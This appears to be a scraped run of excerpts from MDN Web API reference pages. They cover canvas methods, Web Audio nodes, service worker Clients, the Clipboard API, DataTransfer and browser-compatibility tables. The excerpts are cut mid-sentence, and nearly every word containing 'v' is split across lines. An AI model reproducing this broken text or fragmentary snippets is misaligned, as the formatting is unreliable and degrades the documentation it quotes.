... panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the
visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
BaseAudioContext.createScriptProcessor() - Web APIs
if it's not passed in, or if the value is 0, then the implementation will choose the best buffer size for the given en
vironment, which will be a constant power of 2 throughout the lifetime of the node.
... example the following example shows basic usage of a scriptprocessornode to take a track loaded
via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
... note: for a full working example, see our script-processor-node github repo (also
view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode...
... = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track
via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', '
viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contain...
BasicCardResponse.billingAddress - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbillingaddresschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
BasicCardResponse.cardNumber - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardnumberchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nig...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
BasicCardResponse.cardSecurityCode - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardsecuritycodechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only ...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
BasicCardResponse.cardholderName - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardholdernamechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
BasicCardResponse.expiryMonth - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirymonthchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in ni...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
BasicCardResponse.expiryYear - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpiryyearchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nig...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari ?
... web
view android no support nochrome android full support 57firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to change preferences in firefox,
visit about:config.opera android no support nosafari ios ?
BlobEvent.timecode - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimecode experimentalchrome full support 57edge full support ≤79firefox ?
... ie no support noopera full support 44safari no support noweb
view android full support 57chrome android full support 57firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
BudgetState.budgetAt - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... web
view android no support nochrome android full support 60firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
BudgetState.time - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettime experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... web
view android no support nochrome android full support 60firefox android ?
...expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.non-standard.
CSSStyleDeclaration - Web APIs
a cssstyledeclaration object can be exposed using three different apis:
via htmlelement.style, which deals with the inline styles of a single element (e.g., <div style="...">).
...
via the cssstylesheet api.
...
via window.getcomputedstyle(), which exposes the cssstyledeclaration object as a read-only interface.
... cssstyledeclaration.getpropertycssvalue() only supported
via getcomputedstyle in firefox.
CSS Object Model (CSSOM) - Web APIs
animationevent caretposition css csscharsetrule cssconditionrule csscounterstylerule cssfontfacerule cssfontfeaturevaluesmap cssfontfeaturevaluesrule cssgroupingrule cssimportrule csskeyframerule csskeyframesrule cssmarginrule cssmediarule cssnamespacerule csspagerule cssrule cssrulelist cssstyledeclaration cssstylesheet cssstylerule csssupportsrule cssvariablesmap css
viewportrule elementcssinlinestyle fontface fontfaceset fontfacesetloadevent geometryutils getstyleutils linkstyle medialist mediaquerylist mediaquerylistevent mediaquerylistlistener screen stylesheet stylesheetlist transitionevent several other interfaces are also extended by the cssom-related specifications: document, window, element, htmlelement, htmlimageelement, range, mouseev...
... css object model (cssom)
view module working draft defined the screen and mediaquerylist interfaces and the mediaquerylistevent event and mediaquerylistlistener event listener.
... css object model (cssom) working draft extended the css interface and pro
vides the base for the modern cssom specification.
... css de
vice adaptation working draft css counter styles level 3 candidate recommendation document object model (dom) level 2 style specification obsolete initial definition.
Using the CSS Painting API - Web APIs
here we have pro
vided one argument: the rendering context (we'll look at more in due course), often refered to by the variable name ctx.
... we can pass the second parameter into the paint() function to give us access to the width and the height of the element,
via .width and .height properties.
...to be able to access properties, we include the static inputproperties() method, which pro
vides live access to css properties, including regular properties and custom properties, and returns an array of property names.
... in our css, we pro
vide a different color and a width subtractor for the background box we've created
via the --boxcolor and --widthsubtractor custom properties.
CanvasRenderingContext2D.addHitRegion() - Web APIs
when pro
vided, it is an object which can contain the following properties: path a path2d object describing the area of the hit region.
... if not pro
vided, the current path is used.
... parentid the id of the parent region for cursor fallback and na
vigation by accessibility tools.
...{ textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }); canvas.addeventlistener("mousemove", function(event){ if(event.region) { alert("ouch, my eye :("); } }); textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications canvas hit regions have been removed from the whatwg li
ving standard, although discussions about future standardization are ongoing.
CanvasRenderingContext2D.drawWindow() - Web APIs
the contents of the window's
viewport are rendered, ignoring
viewport clipping and scrolling.
... drawwindow_draw_
view 0x04 draw scrollbars and scroll the
viewport if they are present.
...would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the
viewport, on a white background, into the canvas.
... ted mielczarek's tab pre
view extension uses this technique in chrome to pro
vide thumbnails of web pages, and the source is available for reference.
CanvasRenderingContext2D.globalAlpha - Web APIs
values outside that range, including infinity and nan, will not be set, and globalalpha will retain its pre
vious value.
... with each new circle, the opacity of the pre
vious circles underneath is effectively increased.
...llrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw transparent circles for (let i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } screenshotlive sample specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.globalalpha' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.strokeText() - Web APIs
use the filltext() method to fill the text characters rather than ha
ving just their outlines drawn.
...however, if this value is pro
vided, the user agent will adjust the kerning, select a more horizontally condensed font (if one is available or can be generated without loss of quality), or scale down to a smaller font size in order to fit the text in the specified width.
... html <canvas id="canvas" width="400" height="150"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90, 140); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.stroketext' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.transform() - Web APIs
e (dx) horizontal translation (mo
ving).
... f (dy) vertical translation (mo
ving).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.transform' in that specification.
... li
ving standard ...
CanvasRenderingContext2D.translate() - Web APIs
syntax void ctx.translate(x, y); the translate() method adds a translation transformation to the current matrix by mo
ving the canvas and its origin x units horizontally and y units vertically on the grid.
... examples mo
ving a shape this example draws a square that is moved from its default position by the translate() method.
... specifications specification status comment html li
ving standardthe definition of 'canvasrenderingcontext2d.translate' in that specification.
... li
ving standard ...
Compositing and clipping - Web APIs
« pre
viousnext » in all of our pre
vious examples, shapes were always drawn one on top of the other.
...we can, however, change this beha
viour by setting the globalcompositeoperation property.
...this is
visualized in the image on the right.
... screenshotlive sample « pre
viousnext » ...
Client.postMessage() - Web APIs
the postmessage() method of the client interface allows a ser
vice worker to send a message to a client (a window, worker, or sharedworker).
... the message is received in the "message" event on na
vigator.ser
viceworker.
... examples sending a message from a ser
vice worker to a client: addeventlistener('fetch', event => { event.waituntil(async function() { // exit early if we don't have access to the client.
... client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); recei
ving that message: na
vigator.ser
viceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment ser
vice workersthe definition of 'postmessage()' in that specification.
Client.type - Web APIs
the type read-only property of the client interface indicates the type of client the ser
vice worker is controlling.
...the value can be one of "window" "worker" "sharedworker" example // ser
vice worker client (e.g.
... a document) function sendmessage(message) { return new promise(function(resolve, reject) { // note that this is the ser
viceworker.postmessage version na
vigator.ser
viceworker.controller.postmessage(message); window.ser
viceworker.onmessage = function(e) { resolve(e.data); }; }); } // controlling ser
vice worker self.addeventlistener("message", function(e) { // e.source is a client object e.source.postmessage("hello!
... your message was: " + e.data); // let's also post the type value back to the client e.source.postmessage(e.source.type); }); specifications specification status comment ser
vice workersthe definition of 'type' in that specification.
Clients.openWindow() - Web APIs
in chrome for android, the method may instead open the url in an existing browsing context pro
vided by a standalone web app pre
viously added to the user's home screen.
... return value a promise that resolves to a windowclient object if the url is from the same origin as the ser
vice worker or a null value otherwise.
... examples // send notification to os if applicable if (self.notification.permission === 'granted') { const notificationobject = { body: 'click here to
view your messages.', data: { url: self.location.origin + '/some/path' }, // data: { url: 'http://example.com' }, }; self.registration.shownotification('you\'ve got messages!', notificationobject); } // notification click event listener self.addeventlistener('notificationclick', e => { // close the notification popout e.notification.close(); // get all the window clients e.waituntil(clients.matchall({ type: 'window' }).then(clientsarr => { // if a window tab matching the targeted url already exists, focus that; const hadwindowtofocus = clientsarr.some(windowclient => windowclient.url === e.notification.dat...
...windowclient.focus() : null); })); }); specifications specification status comment ser
vice workersthe definition of 'clients: openwindow' in that specification.
Clients - Web APIs
the clients interface pro
vides access to client objects.
... access it
via self.clients within a ser
vice worker.
... clients.claim() allows an active ser
vice worker to set itself as the controller for all clients within its scope.
... client.focus(); chatclient = client; break; } } // if we didn't find an existing chat window, // open a new one: if (!chatclient) { chatclient = await clients.openwindow('/chat/'); } // message the client: chatclient.postmessage("new chat messages!"); }()); }); specifications specification status comment ser
vice workersthe definition of 'clients' in that specification.
Clipboard API - Web APIs
the clipboard api pro
vides the ability to respond to clipboard commands (cut, copy, and paste) as well as to asynchronously read from and write to the system clipboard.
... accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the na
vigator.clipboard global: na
vigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += cliptext); this snippet fetches the text from the clipboard and appends it to the first element found with the class editor.
... interfaces clipboard secure context pro
vides an interface for reading and writing text and data to or from the system clipboard.
... the specification refers to this as the 'async clipboard api.' clipboardevent secure context represents events pro
viding information related to modification of the clipboard, that is cut, copy, and paste events.
CredentialsContainer.get() - Web APIs
the get() method of the credentialscontainer interface returns a promise to a single credential instance that matches the pro
vided parameters.
...the available options are: pro
viders: an array of domstring instances of identity pro
viders to search for.
... mediation: a string indicating whether the user will be required to log on for every
visit to the website.
... returns a promise that resolves with a credential instance that matches the pro
vided parameters.
DOMPoint - Web APIs
static methods dompoint.frompoint() creates a new mutable dompoint object given an existing point (or a dompointinit dictionary) which pro
vides the values for its properties.
... examples in the webxr de
vice api, dompointreadonly values are used to represent positions and orientations.
... in the following snippet, the pose of the xr de
vice (such as a vr headset or phone with ar capabilities) can be retrieved by calling using xrframe.get
viewerpose() during an xrsession animation frame, then accessing the resulting xrpose's transform property, which contains two dompointreadonly attributes: position as a vector and orientation as a quaternion.
... function onxrframe(time, xrframe) { let
viewerpose = xrframe.get
viewerpose(xrreferencespace); if (
viewerpose) { let position =
viewerpose.transform.position; let orientation =
viewerpose.transform.orientation; console.log('xr
viewer position: {x: ' + roundtotwo(position.x) + ', y: ' + roundtotwo(position.y) + ', z: ' + roundtotwo(position.z)); console.log('xr
viewer orientation: {x: ' + roundtotwo(orientation.x) + ', y: ' + roundtotwo(orientation.y) + ', z: ' + roundtotwo(orientation.z) + ', w: ' + roundtotwo(orientation.w)); } } specifications specification status comment ...
Binary strings - Web APIs
the size of the data so represented is twice as big as it would be in normal binary format, however this will not be
visible to the final user, since the length of javascript strings is calculated using two bytes as the unit.
... the reason that brought to use utf-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and
video manipulation, access to raw data using websockets, and so forth) it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
... javascript typed arrays pro
vide a mechanism for accessing raw binary data much more efficiently.
... the string
view non native constructor is one level above typed arrays and pro
vides a c-like interface for strings.
DataTransfer.setDragImage() - Web APIs
the image will typically be an <image> element but it can also be a <canvas> or any other
visible element.
... demo <!doctype html> <html lang=en> <title>example of datatransfer.setdragimage()</title> <meta name="
viewport" content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // set the drag's format and data.
...</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'setdragimage()' in that specification.
... li
ving standard html 5.1the definition of 'setdragimage()' in that specification.
DataTransfer.types - Web APIs
the formats are unicode strings gi
ving the type or format of the data, generally given by a mime type.
... <!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfe...
...ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'types' in that specification.
... li
ving standard html 5.1the definition of 'types' in that specification.
DataTransfer - Web APIs
datatransfer.effectallowed pro
vides all of the types of operations that are possible.
... datatransfer.types read only an array of strings gi
ving the formats that were set in the dragstart event.
... specifications specification status comment html li
ving standardthe definition of 'datatransfer' in that specification.
... li
ving standard mozcursor, mozitemcount, mozsourcenode, mozusercancelled, addelement(), mozcleardataat(), mozgetdataat(), mozsetdataat() and moztypesat are gecko specific.
DirectoryReaderSync - Web APIs
this specification is pretty much abandoned, ha
ving failed to reach any substantial traction.
... if (!data.cmd || data.cmd != 'list') { return; } try { var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); getallentries(fs.root.createreader()); self.postmessage({entries: paths}); } catch (e) { onerror(e); } }; method over
view entrysync readentries () raises (fileexception); method readentries() returns a lost of entries from a specific directory.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectoryreadersync non-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support 79prefixed ...
... full support 79prefixed prefixed implemented with the vendor prefix: webkitfirefox no support noie no support noopera no support nosafari no support noweb
view android full support 37prefixed full support 37prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 18prefixed full support 18prefixed prefixed implemented with the vendor prefix: webkitfirefox android ...
Document.caretRangeFromPoint() - Web APIs
syntax var range = document.caretrangefrompoint(float x, float y); parameters x a horizontal position within the current
viewport.
... y a vertical position within the current
viewport.
... null, if x or y are negative, outside
viewport, or there is no text entry node.
... example basic demo: when clicking in a paragraph insert a line break at the caret position: html <p>lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor in
vidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
Document.createElement() - Web APIs
options optional an optional elementcreationoptions object, containing a single property named is, whose value is the tag name of a custom element pre
viously defined
via customelements.define().
... // create a class for the element class expandinglist extends htmlulistelement { constructor() { // always call super first in constructor super(); // constructor definition left out for bre
vity ...
... note: for backwards compatibility with pre
vious versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
... li
ving standard ...
Document.forms - Web APIs
il"> <input name="password" type="password"> <button type="submit">log in</button> </form> <script> var loginform = document.forms.login; // or document.forms['login'] loginform.elements.email.placeholder = 'test@example.com'; loginform.elements.password.placeholder = 'password'; </script> </body> </html> specifications specification status comment html li
ving standardthe definition of 'document.forms' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.forms' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetformschrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
Document.open() - Web APIs
for years firefox and internet explorer additionally erased all javascript variables, etc., in addition to remo
ving all nodes.
... the history-replacement beha
vior now always happens.
... specifications specification status comment html li
ving standardthe definition of 'document.open()' in that specification.
... li
ving standard document object model (dom) level 2 html specificationthe definition of 'document.open()' in that specification.
Document: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the
viewport by panning, zooming, or scrolling.
... bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer acti
vities.
... this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile de
vice.
... the de
vice's screen orientation is changed while the pointer is active.
Document: scroll event - Web APIs
the scroll event fires when the document
view or an element has been scrolled.
... bubbles yes cancelable no interface event event handler property onscroll note: in ios uiweb
views, scroll events are not fired while scrolling is taking place; they are only fired after the scrolling has completed.
...safari and wkweb
views are not affected by this bug.
... specifications specification status css object model (cssom)
view module working draft ...
DocumentFragment - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... parentnode.childelementcount read only returns an unsigned long gi
ving the amount of children that the documentfragment has.
...doing this moves the fragment's nodes into the dom, lea
ving behind an empty documentfragment.
... li
ving standard added the constructor and the implementation of parentnode.
DocumentOrShadowRoot.getSelection() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetselection experimentalchrome full support 53edge full support 12firefox full support 63ie full support yesopera full...
... support 40safari full support yesweb
view android full support 53chrome android full support 53firefox android full support 63opera android full support 41safari ios full support yessamsung internet android full support 6.0legend full support full supportexperimental.
... expect beha
vior to change in the future.experimental.
... expect beha
vior to change in the future.
DragEvent - Web APIs
the user initiates a drag by placing a pointer de
vice (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another dom element).
... dragover this event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms when mouse is not mo
ving else much faster between 5 ms (slow movement) and 1ms (fast movement) approximately.
... specifications specification status comment html li
ving standardthe definition of 'dragevent' in that specification.
... li
ving standard html 5.1the definition of 'dragevent' in that specification.
Element.getAttribute() - Web APIs
the old dom 3 core specification, on the other hand, says that the correct return value in this case is actually the empty string, and some dom implementations implement this beha
vior.
... retrie
ving nonce values for security reasons, csp nonces from non-script sources, such as css selectors, and .getattribute("nonce") calls are hidden.
... let nonce = script.getattribute('nonce'); // returns empty string instead of retrie
ving the nonce from the content attribute, use the nonce property: let nonce = script.nonce; specifications specification status comment domthe definition of 'getattribute()' in that specification.
... li
ving standard ...
Element.getElementsByClassName() - Web APIs
return value an htmlcollection pro
viding a live-updating list of every element which is a member of every class in names.
... examples matching a single class to look for elements that include among their classes a single specified class, we just pro
vide that class name when calling getelementsbyclassname(): element.getelementsbyclassname('test'); this example finds all elements that have a class of test, which are also a descendant of the element that has the id of main: document.getelementbyid('main').getelementsbyclassname('test'); matching multiple classes to find elements whose class lists include both the red and test classes: eleme...
...nt.getelementsbyclassname('red test'); examining the results you can use either the item() method on the returned htmlcollection or standard array syntax to examine indi
vidual elements in the collection.
... li
ving standard initial definition ...
Element: mouseleave event - Web APIs
the mouseleave event is fired at an element when the cursor of a pointing de
vice (usually a mouse) is moved out of it.
... one mouseleave event is sent to each element of the hierarchy when lea
ving them.
... mouseleave the following tri
vial example uses the mouseenter event to change the border on the <div> when the mouse enters the space alloted to it.
... html <div id='mousetarget'> <ul id="unorderedlist"> <li>no events yet!</li> </ul> </div> css styling the <div> to make it more
visible.
Element.scroll() - Web APIs
examples // put the 1000th vertical pixel at the top of the element element.scroll(0, 1000); using options: element.scroll({ top: 100, left: 100, beha
vior: 'smooth' }); specification specification status comment css object model (cssom)
view modulethe definition of 'element.scroll()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full supp...
...ort 10web
view android full support 45chrome android full support 45firefox android full support 36opera android full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera fu...
...ll support 32safari no support noweb
view android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
Element.scrollTo() - Web APIs
examples element.scrollto(0, 1000); using options: element.scrollto({ top: 100, left: 100, beha
vior: 'smooth' }); specifications specification status comment css object model (cssom)
view modulethe definition of 'element.scrollto()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrolltochrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support ...
... 10web
view android full support 45chrome android full support 45firefox android full support 36opera android full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full sup...
...port 32safari no support noweb
view android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
Element.slot - Web APIs
examples in our simple-template example (see it live), we create a tri
vial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslotchrome full support 53edge full support ≤79firefox full support 63ie ?
... opera full support yessafari full support 10web
view android full support 53chrome android full support 53firefox android full support 63opera android full support yessafari ios full support yessamsung internet android full support 6.0legend full support full support compatibility unknown ...
ElementCSSInlineStyle.style - Web APIs
see the css properties reference for a list of the css properties accessible
via style.
... the style property has the same (and highest) priority in the css cascade as an inline style declaration set
via the style attribute.
...for adding specific styles to an element without altering other style values, it is preferred to use the indi
vidual properties of style (as in elt.style.color = '...') as using elt.style.csstext = '...' or elt.setattribute('style', '...') sets the complete inline style for the element by overriding the existing inline styles.
... examples // set multiple styles in a single statement elt.style.csstext = "color: blue; border: 1px solid black"; // or elt.setattribute("style", "color:red; border: 1px solid blue;"); // set specific style while lea
ving other inline style values untouched elt.style.color = "blue"; getting style information the style property is not useful for completely learning about the styles applied on the element, since it represents only the css declarations set in the element's inline style attribute, not those that come from style rules elsewhere, such as style rules in the <head> section, or external style sheets.
Encoding API - Web APIs
the encoding api pro
vides a mechanism for handling text in various character encodings, including legacy non-utf-8 encodings.
... the api pro
vides four interfaces: textdecoder, textencoder, textdecoderstream and textencoderstream.
... string
view – a c-like representation of strings based on typed arrays.
... specifications specification status comment encoding li
ving standard initial definition.
ErrorEvent - Web APIs
the errorevent interface represents events pro
viding information related to errors in scripts or in files.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/errorevent" target="_top"><rect x=...
... specifications specification status comment html li
ving standardthe definition of 'errorevent' in that specification.
... li
ving standard added the error property and the 5th parameter to the constructor.
EventSource() - Web APIs
syntax eventsource = new eventsource(url, configuration); parameters url a usvstring that represents the location of the remote resource ser
ving the events/messages.
... configuration optional pro
vides options to configure the new connection.
... specifications specification status comment html li
ving standardthe definition of 'eventsource()' in that specification.
... li
ving standard initial definition ...
EventTarget.dispatchEvent() - Web APIs
notes unlike "native" events, which are fired by the dom and invoke event handlers asynchronously
via the event loop, dispatchevent() invokes event handlers synchronously.
... li
ving standard initial definition in the dom 2 events specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdispatcheventchrome full support 4edge full support 12firefox full support 2ie full support 9 full support 9 no support 6 — 11notes alternate name notes older v...
...ersions of ie supported an equivalent, proprietary eventtarget.fireevent() method.alternate name uses the non-standard name: fireeventopera full support 9safari full support 3.2web
view android full support 4chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 3samsung internet android full support 1.0legend full support ...
FetchEvent.preloadResponse - Web APIs
the preloadresponse read-only property of the fetchevent interface returns a promise that resolves to the na
vigation preload response if na
vigation preload was triggered or undefined otherwise.
... example this code snippet is from the na
vigation preload page.
... the ser
viceworkerglobalscope.onfetch event handler listens for the fetch event.
